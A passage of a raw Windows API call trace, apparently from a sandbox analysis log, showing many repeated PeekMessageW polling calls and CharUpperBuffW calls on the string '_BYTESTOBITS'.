wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.173] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.174] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.174] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.175] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.176] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.177] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.177] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.177] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.177] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.177] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.177] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.177] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.177] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0038.178] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.180] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.181] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.183] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.183] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.184] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.184] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.185] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.185] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.185] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.185] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.185] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.185] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.186] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.186] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.186] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.186] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.186] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.186] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.186] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.186] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: 